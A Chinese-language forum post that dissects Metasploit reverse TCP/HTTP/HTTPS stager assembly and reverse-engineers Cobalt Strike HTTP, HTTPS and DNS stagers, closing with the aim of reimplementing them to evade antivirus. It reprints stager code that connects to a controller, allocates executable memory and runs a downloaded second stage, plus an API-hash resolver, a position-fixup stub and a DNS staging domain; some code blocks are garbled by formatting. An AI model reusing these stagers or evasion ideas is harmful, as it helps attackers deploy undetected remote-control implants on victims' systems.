Metasploit & CobaltStrike 的shellcode分析

Metasploit & CobaltStrike
Reverse Tcp
  • 在generate_reverse_tcp中

    combined_asm = %Q^
          cld                    ; Clear the direction flag.
          call start             ; Call start, this pushes the address of 'api_call' onto the stack.
          #{asm_block_api}
          start:
            pop ebp
          #{asm_reverse_tcp(opts)}
          #{asm_block_recv(opts)}
        ^
    

    call start将asm_block_api地址push入栈,在start处,pop ebp,将asm_block_api地址取出,其功能就是通过函数名hash值,找到正确的函数地址并调用,所以接下来的函数调用基本都是以call ebp形式出现。

接下来asm_reverse_tcp(opts)处理

reverse_tcp:
          push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
          push 'ws2_'             ; ...
          push esp                ; Push a pointer to the "ws2_32" string on the stack.
          push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
          mov eax, ebp
          call eax                ; LoadLibraryA( "ws2_32" )

          mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
          sub esp, eax            ; alloc some space for the WSAData structure
          push esp                ; push a pointer to this stuct
          push eax                ; push the wVersionRequested parameter
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
          call ebp                ; WSAStartup( 0x0190, &WSAData );

这一部分完成了WSAStartup(wVersionRequested, &WSAData)**

set_address:
          push #{retry_count}     ; retry counter

        create_socket:
          push #{encoded_host}    ; host in little-endian format
          push #{encoded_port}    ; family AF_INET and port number
          mov esi, esp            ; save pointer to sockaddr struct

          push eax                ; if we succeed, eax will be zero, push zero for the flags param.
          push eax                ; push null for reserved parameter
          push eax                ; we do not specify a WSAPROTOCOL_INFO structure
          push eax                ; we do not specify a protocol
          inc eax                 ;
          push eax                ; push SOCK_STREAM
          inc eax                 ;
          push eax                ; push AF_INET
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
          call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
          xchg edi, eax           ; save the socket for later, don't care about the value of eax after this

这里完成了建立Socket,WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0)

而且建立的socket值存于edi,这在第二阶段也会用到。

# Check if a bind port was specified
      if opts[:bind_port]
        bind_port    = opts[:bind_port]
        encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first
        asm << %Q^
          xor eax, eax
          push 11
          pop ecx
          push_0_loop:
          push eax               ; if we succeed, eax will be zero, push it enough times
                                 ; to cater for both IPv4 and IPv6
          loop push_0_loop

                           ; bind to 0.0.0.0/[::], pushed above
          push #{encoded_bind_port}   ; family AF_INET and port number
          mov esi, esp           ; save a pointer to sockaddr_in struct
          push #{sockaddr_size}  ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
          push esi               ; pointer to the sockaddr_in struct
          push edi               ; socket
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
          call ebp               ; bind( s, &sockaddr_in, 16 );
          push #{encoded_host}    ; host in little-endian format
          push #{encoded_port}    ; family AF_INET and port number
          mov esi, esp
        ^
      end

根据我们是否指定reverse到目标主机的哪个端口,来决定做不做bind(s, &sockaddr_in, 16)操作

asm << %Q^
        try_connect:
          push 16                 ; length of the sockaddr struct
          push esi                ; pointer to the sockaddr struct
          push edi                ; the socket
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
          call ebp                ; connect( s, &sockaddr, 16 );

          test eax,eax            ; non-zero means a failure
          jz connected

        handle_connect_failure:
          ; decrement our attempt count and try again
          dec dword [esi+8]
          jnz try_connect
      ^

这一部分就是多次尝试connect(socket, socjeraddr, 16);

剩下的就是退出、重连处理。

  • 建立连接之后,就是recv了;实现细节

    def asm_block_recv(opts={})
        reliable     = opts[:reliable]
        asm = %Q^
          recv:
            ; Receive the size of the incoming second stage...
            push 0                  ; flags
            push 4                  ; length = sizeof( DWORD );
            push esi                ; the 4 byte buffer on the stack to hold the second stage length
            push edi                ; the saved socket
            push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
            call ebp                ; recv( s, &dwLength, 4, 0 );
        ^

    首先recv(s, &dwLength, 4, 0),是second stage的size,如果正确取得size, 接下来就是获取second stage,也就是dll文件(msf使用reflectdll技术)

    asm << %Q^
            ; Alloc a RWX buffer for the second stage
            mov esi, [esi]          ; dereference the pointer to the second stage length
            push 0x40               ; PAGE_EXECUTE_READWRITE
            push 0x1000             ; MEM_COMMIT
            push esi                ; push the newly recieved second stage length.
            push 0                  ; NULL as we dont care where the allocation is.
            push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
            call ebp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
            ; Receive the second stage and execute it...
            xchg ebx, eax           ; ebx = our new memory address for the new stage
            push ebx                ; push the address of the new stage so we can return into it
    
          read_more:
            push 0                  ; flags
            push esi                ; length
            push ebx                ; the current address into our second stage's RWX buffer
            push edi                ; the saved socket
            push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
            call ebp                ; recv( s, buffer, length, 0 );
        ^

    这里先根据size,分配空间VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE),并将该地址push入栈,(方便recv结束直接ret执行)

    之后,再继续读取socket的缓冲区。

    asm << %Q^
          read_successful:
            add ebx, eax            ; buffer += bytes_received
            sub esi, eax            ; length -= bytes_received, will set flags
            jnz read_more           ; continue if we have more to read
            ret                     ; return into the second stage
        ^

    读完之后进入second stage,就是接受的DLL,meterpreter创建。

  • 简单总结实现过程

    WSAStartup()
    WSASocketA(AF_INET, SOCKET_STREAM, 0, 0, 0, 0)
       edi == > socket
    "bind(s, &sockaddrin, 16)"
    
    recv(s, &size, 4);
    VirtuallAlloc(0, size, MEM_COMMIT, PAGE_EXEC_READWRITE)
    recv alldata
    
    jmp buffer
          其中buffer[0] = 0xBF, buffer[1] = socket
Reverse_HTTP
  • 主要过程在generate_reverse_http

    def generate_reverse_http(opts={})
        combined_asm = %Q^
          cld                    ; Clear the direction flag.
          call start             ; Call start, this pushes the address of 'api_call' onto the stack.
          #{asm_block_api}
          start:
            pop ebp
          #{asm_reverse_http(opts)}

    同样的结构,重点关注asm_reverse_http的实现

  • asm_reverse_http

    免去一些设置HTTP Proxy的工作,直接看重点

    asm = %Q^
          ;-----------------------------------------------------------------------------;
          ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
          ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
          ;-----------------------------------------------------------------------------;
    
          ; Input: EBP must be the address of 'api_call'.
          ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
          load_wininet:
            push 0x0074656e        ; Push the bytes 'wininet',0 onto the stack.
            push 0x696e6977        ; ...
            push esp               ; Push a pointer to the "wininet" string on the stack.
            push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
            call ebp               ; LoadLibraryA( "wininet" )
            xor ebx, ebx           ; Set ebx to NULL to use in future arguments

    先加载wininet.dll

    接下来布置参数,根据设置的HTTP的参数,调用InternetOpenA

    asm << %Q^
        internetopen:
          push ebx               ; DWORD dwFlags
        ^
        if proxy_enabled
          asm << %Q^
            push esp               ; LPCTSTR lpszProxyBypass ("" = empty string)
          call get_proxy_server
            db "#{proxy_info}", 0x00
          get_proxy_server:
                                   ; LPCTSTR lpszProxyName (via call)
            push 3                 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
          ^
        else
          asm << %Q^
            push ebx               ; LPCTSTR lpszProxyBypass (NULL)
            push ebx               ; LPCTSTR lpszProxyName (NULL)
            push ebx               ; DWORD dwAccessType (PRECONFIG = 0)
          ^
        end
        if opts[:ua].nil?
          asm << %Q^
            push ebx               ; LPCTSTR lpszAgent (NULL)
          ^
        else
          asm << %Q^
            push ebx               ; LPCTSTR lpszProxyBypass (NULL)
          call get_useragent
            db "#{opts[:ua]}", 0x00
                                   ; LPCTSTR lpszAgent (via call)
          get_useragent:
          ^
        end
        asm << %Q^
          push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
          call ebp
        ^

    接下来

    asm << %Q^
          internetconnect:
            push ebx               ; DWORD_PTR dwContext (NULL)
            push ebx               ; dwFlags
            push 3                 ; DWORD dwService (INTERNET_SERVICE_HTTP)
            push ebx               ; password (NULL)
            push ebx               ; username (NULL)
            push #{opts[:port]}    ; PORT
            call got_server_uri    ; double call to get pointer for both server_uri and
          server_uri:              ; server_host; server_uri is saved in EDI for later
            db "#{opts[:url]}", 0x00
          got_server_host:
            push eax               ; HINTERNET hInternet (still in eax from InternetOpenA)
            push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
            call ebp
            mov esi, eax           ; Store hConnection in esi
        ^
    
        ..........
            got_server_uri:
          pop edi                 //edi指向url
          call got_server_host
    
        server_host:              //将server_host入栈
          db "#{opts[:host]}", 0x00
        ^

    这里有个在代码中插入字符串,并准确获得字符串指针的技巧,通过call + pop

    最终执行了InternetConnectA(hInternet, server_host, port, NULL, NULL, 3, NULL, NULL)

接下来,根据代理配置设置代理

先设置username InternetSetOptionA(hConnection, 43, username, length)

if proxy_enabled && proxy_user
        asm << %Q^
          ; DWORD dwBufferLength (length of username)
          push #{proxy_user.length}
          call set_proxy_username
        proxy_username:
          db "#{proxy_user}",0x00
        set_proxy_username:
                               ; LPVOID lpBuffer (username from previous call)
          push 43              ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
          push esi             ; hConnection
          push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
          call ebp
        ^
      end

     在设置password,  **InternetSetOptionA(hConnection, 44, password, length)**
      if proxy_enabled && proxy_pass
        asm << %Q^
          ; DWORD dwBufferLength (length of password)
          push #{proxy_pass.length}
          call set_proxy_password
        proxy_password:
          db "#{proxy_pass}",0x00
        set_proxy_password:
                               ; LPVOID lpBuffer (password from previous call)
          push 44              ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
          push esi             ; hConnection
          push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
          call ebp
        ^
      end

完成HTTP的连接的配置,就可以实例化一个Request了

实际调用HttpOpenRequestA(hConnection, NULL, server_uri, NULL, NULL, NULL, dwFlags, NULL)

asm << %Q^
        httpopenrequest:
          push ebx               ; dwContext (NULL)
          push #{"0x%.8x" % http_open_flags}   ; dwFlags
          push ebx               ; accept types
          push ebx               ; referrer
          push ebx               ; version
          push edi               ; server URI
          push ebx               ; method
          push esi               ; hConnection
          push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
          call ebp
          xchg esi, eax          ; save hHttpRequest in esi
       ^

实例化Requests之后,就可以Send请求

实际调用HttpSendRequestA(hHttpRequest, Headers, HeaderLength,lpOptional, lpOptional_length)

asm << %Q^
        httpsendrequest:
          push ebx               ; lpOptional length (0)
          push ebx               ; lpOptional (NULL)
      ^

      if custom_headers
        asm << %Q^
          push -1                ; dwHeadersLength (assume NULL terminated)
          call get_req_headers   ; lpszHeaders (pointer to the custom headers)
          db #{custom_headers}
        get_req_headers:
        ^
      else
        asm << %Q^
          push ebx               ; HeadersLength (0)
          push ebx               ; Headers (NULL)
        ^
      end

      asm << %Q^
          push esi               ; hHttpRequest
          push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
          call ebp
          test eax,eax
          jnz allocate_memory

发送成功后直接跳转至alloc_memory,否则重试

实际也是使用VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

asm << %Q^
      allocate_memory:
        push 0x40              ; PAGE_EXECUTE_READWRITE
        push 0x1000            ; MEM_COMMIT
        push 0x00400000        ; Stage allocation (4Mb ought to do us)
        push ebx               ; NULL as we dont care where the allocation is
        push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
        call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

向分配的地址下载MSF传来的DLL

实际调用InternetReadFile(hRequest, buffer, 8192, &bytesRead)

download_prep:
        xchg eax, ebx          ; place the allocated base address in ebx
        push ebx               ; store a copy of the stage base address on the stack
        push ebx               ; temporary storage for bytes read count
        mov edi, esp           ; &bytesRead

      download_more:
        push edi               ; &bytesRead
        push 8192              ; read length
        push ebx               ; buffer
        push esi               ; hRequest
        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
        call ebp

​ 判断是否下载正确、完全、多次下载、成功后ret到分配的第二区

test eax,eax           ; download failed? (optional?)
        jz failure

        mov eax, [edi]
        add ebx, eax           ; buffer += bytes_received

        test eax,eax           ; optional?
        jnz download_more      ; continue until it returns 0
        pop eax                ; clear the temporary storage

        execute_stage:
        ret                    ; dive into the stored stage address
  • ##### 小结

    //先Open
    void InternetOpenA(
      LPCSTR lpszAgent,
      DWORD  dwAccessType,
      LPCSTR lpszProxy,
      LPCSTR lpszProxyBypass,
      DWORD  dwFlags
    );
    
    //再Connect
    void InternetConnectA(
      HINTERNET     hInternet,
      LPCSTR        lpszServerName,
      INTERNET_PORT nServerPort,
      LPCSTR        lpszUserName,
      LPCSTR        lpszPassword,
      DWORD         dwService,
      DWORD         dwFlags,
      DWORD_PTR     dwContext
    );
    
    //再设置HTTP 的代理 username | pass  [options]
    BOOLAPI InternetSetOptionA(
      HINTERNET hInternet,
      DWORD     dwOption,
      LPVOID    lpBuffer,
      DWORD     dwBufferLength
    );
    
    //正常Connect后,就可以请求连接, 获得一个Request句柄
    void HttpOpenRequestA(
      HINTERNET hConnect,
      LPCSTR    lpszVerb,
      LPCSTR    lpszObjectName,
      LPCSTR    lpszVersion,
      LPCSTR    lpszReferrer,
      LPCSTR    *lplpszAcceptTypes,
      DWORD     dwFlags,
      DWORD_PTR dwContext
    );
    
    //发送请求
    BOOLAPI HttpSendRequestA(
      HINTERNET hRequest,
      LPCSTR    lpszHeaders,
      DWORD     dwHeadersLength,
      LPVOID    lpOptional,
      DWORD     dwOptionalLength
    );
    
    //请求成功后,(连接上MSF);分配一块缓冲区
    LPVOID VirtualAlloc(
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flAllocationType,
      DWORD  flProtect
    );
    
    //下载DLL
    BOOLAPI InternetReadFile(
      HINTERNET hFile,
      LPVOID    lpBuffer,
      DWORD     dwNumberOfBytesToRead,
      LPDWORD   lpdwNumberOfBytesRead
    );
    
ReverseHttps
  • 和HTTP一样的,只是在HttpOpenRequestA之后,设置一个SSL

    实际执行InternetSetOptionA(hHttpRequest, 31, &dwFlags, 4)

    if opts[:ssl]
          asm << %Q^
          ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
          set_security_options:
            push 0x#{secure_flags.to_s(16)}   0x3380
           mov eax, esp
            push 4                 ; sizeof(dwFlags)
            push eax               ; &dwFlags
            push 31                ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
            push esi               ; hHttpRequest
            push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
            call ebp
          ^
        end

CobaltStrike Shellcode分析

CobaltStrike闭源,它生成的shellcode没有源码可以参考,所以接下来就是逆向分析的过程。

ReverseHttp
  • 整体的框架还是类似的

    00120000  cld  
    00120001  call        0012008F  
    00120006  pushad  
    00120007  mov         ebp,esp  
    00120009  xor         edx,edx

    关键函数还是在cld后的call里

  • start函数分析

    0012008F  pop         ebp  
    00120090  push        74656Eh  
    00120095  push        696E6977h  
    0012009A  push        esp  
    0012009B  push        726774Ch  
    001200A0  call        ebp

    不出意外,这里也是完成LoadLibraryA("wininet")

    001200A2  xor         edi,edi  
    001200A4  push        edi  
    001200A5  push        edi  
    001200A6  push        edi  
    001200A7  push        edi  
    001200A8  push        edi  
    001200A9  push        0A779563Ah  
    001200AE  call        ebp  
    001200B0  jmp         00120139

    这里以edi为操作,入栈5个NULL,对比以下MSF,很显然完成了InternetOpenA(NULL, NULL, NULL, NULL, NULL)

    001200B5  pop         ebx  
    001200B6  xor         ecx,ecx  
    001200B8  push        ecx  
    001200B9  push        ecx  
    001200BA  push        3  
    001200BC  push        ecx  
    001200BD  push        ecx  
    001200BE  push        1F90h        # 8080 端口
    001200C3  push        ebx  
    001200C4  push        eax  
    001200C5  push        0C69F8957h  
    001200CA  call        ebp

    这里以ecx为NULL, 完成了InternetConnectA(hInternet, serverIp, atoi(serverPort), NULL, NULL, 3, NULL, NULL)其中,上一API结束后的jmp -> jmp -> call操作完成了将ip 指针入栈的操作,最终pop给了ebx

    001200CC  jmp         0012013E  
    001200CE  pop         ebx  
    001200CF  xor         edx,edx  
    001200D1  push        edx  
    001200D2  push        84400200h  
    001200D7  push        edx  
    001200D8  push        edx  
    001200D9  push        edx  
    001200DA  push        ebx  
    001200DB  push        edx  
    001200DC  push        eax  
    001200DD  push        3B2E55EBh  
    001200E2  call        ebp

    接着,这一部分,以同样的方法,将server_uri指针赋给ebx,最终完成了HttpOpenRequestA(hConnection, NULL, serveruri, NULL, NULL, NULL, 0x84400200, NULL);

    这里的Server_uri(随机的)和 http_open_flag和MSF生成的有些不同。

    001200E4  mov         esi,eax  
    001200E6  add         ebx,50h  
    001200E9  xor         edi,edi  
    001200EB  push        edi  
    001200EC  push        edi  
    001200ED  push        0FFFFFFFFh  
    001200EF  push        ebx  
    001200F0  push        esi  
    001200F1  push        7B18062Dh  
    001200F6  call        ebp

    这一部分,完成了HttpSendRequestA( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )

    其中和MSF相比,这里的Headers, dwHeadersLength均默认非NULL,而MSF默认NULL。

    实际完成HttpSendRequestA( HINTERNET hRequest, LPCSTR lpszHeaders, 0xFFFFFFFF, NULL, 0),其中Headers如下

    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
    

    接下来,Send成功后,想来该是开辟一块缓冲区

    004000F8  test        eax,eax  
    004000FA  je          004002C3  
    00400100  xor         edi,edi  
    00400102  test        esi,esi  
    00400104  je          0040010A  
    00400106  mov         ecx,edi  
    00400108  jmp         00400113    #跳转
    0040010A  push        5DE2C5AAh  
    0040010F  call        ebp  
    00400111  mov         ecx,eax  
    00400113  push        315E2145h   
    00400118  call        ebp    #真正执行的

    但是这个很奇怪,没有参数的一个API,先继续往下看

    0040011A  xor         edi,edi  
    0040011C  push        edi                     ==> 0
    0040011D  push        7  
    0040011F  push        ecx  
    00400120  push        esi                   ==> hRequest
    00400121  push        eax  
    00400122  push        0BE057B7h  
    00400127  call        ebp

    这个API参数第一个值是上一个API的返回值,(eax, hRequest, 0xFFFFE000, 7, 0)

    再继续

    004002CA  push        40h  
    004002CC  push        1000h  
    004002D1  push        400000h  
    004002D6  push        edi  
    004002D7  push        0E553A458h  
    004002DC  call        ebp

    这就很明显了,完成了VirtualAlloc(0, 0x400000, 0x1000, 0x40),也就是可执行的一块空间

    004002DE  xchg        eax,ebx  
    004002DF  mov         ecx,0  
    004002E4  add         ecx,ebx  
    004002E6  push        ecx             ==>将分配的空间入栈,方便后续ret过去
    004002E7  push        ebx  
    004002E8  mov         edi,esp  
    004002EA  push        edi  
    004002EB  push        2000h  
    004002F0  push        ebx  
    004002F1  push        esi  
    004002F2  push        0E2899612h  
    004002F7  call        ebp

    这一段,参考MSF实现,不难发现这里实际完成InternetReadFile(hRequest, PCHAR(lpBuffer + dwLength), 0x2000, &dwBytesRead);

    004002F9  test        eax,eax  
    004002FB  je          004002C3  
    004002FD  mov         eax,dword ptr [edi]  
    004002FF  add         ebx,eax  
    00400301  test        eax,eax  
    00400303  jne         004002EA

    循环读取,直到NULL

    pop rax
    ret

    虽然和MSF差不多,但是我们有两个API没搞清楚是什么,我试了一下不调用那两个API,发现CS上线可以,但是通信有问题。所以必须想办法弄出API

    • 思路 A

      跟踪进入HASH搜索API,在搜索成功后回退上一个函数字符串就是了

    • 思路 B

    ​ 逆向cs 的shellcode搜索API的hash函数,其分为两部分,一个API的hash 等于其所在DLL的hash加上apiName的hash。

    ```python
    def ror_13(now):

    return circular_shift_right(now, 13, 32)

    def hash_dll(dllName):

    dllWideName = []
    for each in dllName:
        dllWideName.append(each)
        dllWideName.append('\x00')
    
    dllWideName += ['\x00', '\x00']
    print(dllWideName)
    
    hsValue = 0
    for each in dllWideName:
        each = ord(each)
        if each >= 0x61:
            each -= 0x20
        hsValue = ror_13(hsValue) + each
print(dllName, hex(hsValue))
  return hsValue

def hash_api(apiName):
hsValue = 0
for each in apiName:

each = ord(each)
      hsValue = ror_13(hsValue) + each

  hsValue = ror_13(hsValue)
  print(apiName, hex(hsValue))   
  return hsValue

def hash_dll_api(dllName, apiName):
dllHash = hash_dll(dllName)
apiHash = hash_api(apiName)

print("apiName: ", hex((dllHash + apiHash) & 0xFFFFFFFF))
连个方法都可以得出,上面的两个API分别是

  ```c++
  HWND GetDesktopWindow()   // 获取当前DesktopWindow的 handle

  void InternetErrorDlg(
    HWND      hWnd,
    HINTERNET hRequest,
    DWORD     dwError,
    DWORD     dwFlags,
    LPVOID    *lppvData
  );                        实际执行的是InternetErrorDlg(hWnd, hRequest, 0xFFFFE000, 7, 0)
ReverseHttps
  • 几乎一样,不同在于

    ```c
    //Http_Open_flag
    if (ssl)

    hRequest = HttpOpenRequestA(hConnection, NULL, (PCHAR)server_uri_https, NULL, NULL, NULL, 0x84C03200,  NULL);

    else

    hRequest = HttpOpenRequestA(hConnection, NULL, (PCHAR)server_uri_http, NULL, NULL, NULL, 0x84400200, NULL);
//ssl secure flag
if (ssl) {

    //Secure flags 0x3380
    dwFlags = SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
        SECURITY_FLAG_IGNORE_WRONG_USAGE | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_REVOCATION;

    //Here first arg is hRequest but not hInternet
    if (!InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags))) {
        exit(1);
    }
}
##### ReverseDns

* ##### start第一部分

  ```assembly
  00990090  xor         eax,eax  
  00990092  push        40h  
  00990094  mov         ah,10h  
  00990096  push        1000h  
  0099009B  push        7FFFFh  
  009900A0  push        0  
  009900A2  push        0E553A458h  
  009900A7  call        ebp  
  009900A9  add         eax,40h  
  009900AC  mov         edi,eax  
  009900AE  push        eax

利用方法A可得到这里实际调用VirtualAlloc(0, 0x7FFFF, MEM_COMMIT, PAGE_EXECUTE_READWRITE), 开辟了一块可执行空间。而后将该地址入栈。

009900AF  xor         eax,eax  
  009900B1  mov         al,70h  
  009900B3  mov         ah,69h  
  009900B5  push        eax  
  009900B6  push        61736E64h  
  009900BB  push        esp  
  009900BC  push        726774Ch  
  009900C1  call        ebp

接下来的,实际调用的是LoadLibraryA("dnsapi")

之后

0099011B  push        esp  
  0099011C  pop         ebx  
  0099011D  sub         ebx,4  
  00990120  push        ebx  
  00990121  push        0  
  00990123  push        ebx  
  00990124  push        0  
  00990126  push        248h  
  0099012B  push        10h  
  0099012D  push        eax  
  0099012E  push        0C99CC96Ah  
  00990133  call        ebp

实际完成的工作是DnsQuery_A(dnsName, 0x10, 0x248, 0, ebx, 0)

其中dnsName是和CS里的Host stager有关,可以抓包看到(所谓的dns隧道,其实就是利用dnsName来传递信息的),,其中ebx指向DNS查询结果的压缩数据处。

aaa.stage.10965191.ns1.treebacker.cn

当执行失败时

00A30139  mov         eax,esi  
  00A3013B  dec         eax  
  00A3013C  mov         bl,0  
  00A3013E  mov         byte ptr [eax],bl  
  00A30140  inc         eax  
  00A30141  mov         esi,dword ptr [eax]  
  00A30143  jmp         00A301B5  
00A30145  call        00A300CA

继续走,来到

00990195  jle         0099019E                      #跳过
  00990197  push        56A2B5F0h  
0099019C  call        ebp  
  0099019E  push        13E8h                       #执行这里
009901A3  push        0E035F044h  
  009901A8  call        ebp
这里实际执行了**Sleep(0x13E8)**然后再重复**DnsQuery_A(dnsName, 0x10, 0x248, ebx, 0, ebx)**

  ebx指向的**DNS_RECORD**记录结构。



  而当DNS查询成功时

  ```assembly
.....................省略
  .data:004031EB                 push    edi
  .data:004031EC                 push    edi
  .data:004031ED                 push    edi
  .data:004031EE                 inc     ebx
  .data:004031EF                 xchg    edi, edx
  .data:004031F1                 push    edx
  .data:004031F2                 push    edi
  .data:004031F3                 push    ebx
  .data:004031F4                 sub     edx, 0FFh
  .data:004031FA                 push    edx
  .data:004031FB                 push    0CC8E00F4h
  .data:00403200                 call    ebp             ; StrlenA
  .data:00403202                 pop     ebx
  .data:00403203                 pop     edi
  .data:00403204                 pop     edx
  .data:00403205                 cmp     eax, 0FFh       ; 去掉前0xff字节
  .data:0040320A                 jl      short loc_403213 ; 接收完毕
  .data:0040320C                 jmp     loc_4030F0      ; 否则继续
  .data:00403211 ; ---------------------------------------------------------------------------
  .data:00403211
  .data:00403211 loc_403211:                             ; CODE XREF: sub_4030E2+F4↑j
  .data:00403211                 mov     edi, edx
  .data:00403213
  .data:00403213 loc_403213:                             ; CODE XREF: sub_4030E2+128↑j
  .data:00403213                 add     edi, 0
  .data:00403219                 jmp     edi             ; 执行获取到的stage

实际执行了lstrlenA()

可以发现Dns查询, CS回复的数据包中,data里最后0xFF字节是压缩的tage的部分

会发现这个stage是由可打印字符(大写字母组成),这其实是alpha编码的shellcode。

这段stage保存的位置

PDNS_RECORD->Data.SOA.pNameAdministrator

整个过程单步调试抓包可以发现发送的dnsName

aaa
  baa
  caa
  ...
  aba
  bba
  cba
  ...
  aza
  bza
  cza

  一直找到0.0.0.0为止

抓包,过滤DNS,能够清楚地看到整个流程

当成功解析到0.0.0.0的时候,Client就在CS里上线了!

而dns的stage并不是完全独立的,有一定的依赖

edi ==> stage起始地址

这个问题可以自己在原stage前加上一段获取eip指针赋给edi,来解决

call next:
next: 
    pop edi         ;   edi指向 next, edi
    add edi, 4      ;   edi指向  stage
stage:

机器码

0xE8, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x83, 0xC7, 0x04

以上函数部分原型

DNS_STATUS DnsQuery_A(
    PCSTR       pszName,
    WORD        wType,
    DWORD       Options,
    PVOID       pExtra,
    PDNS_RECORD *ppQueryResults,
    PVOID       *pReserved
  );

研究了一下CS生成的exe文件

利用的Pipe 传输xor加密shellcode

Pipe通信获取之后,解密回来,CreateThread执行

问题来了?为什么要做这些呢?

免杀、免杀、免杀

将MSF和CS常用的payload转为高级语言直接实现,不需要加载器,可以大幅度提高免杀的可操作性!(起码不会有shellcode在内存里),在此基础上,做下源码级别的免杀(甚至做个图形化混淆视听)

点击收藏 | 0 关注 | 1
登录 后跟帖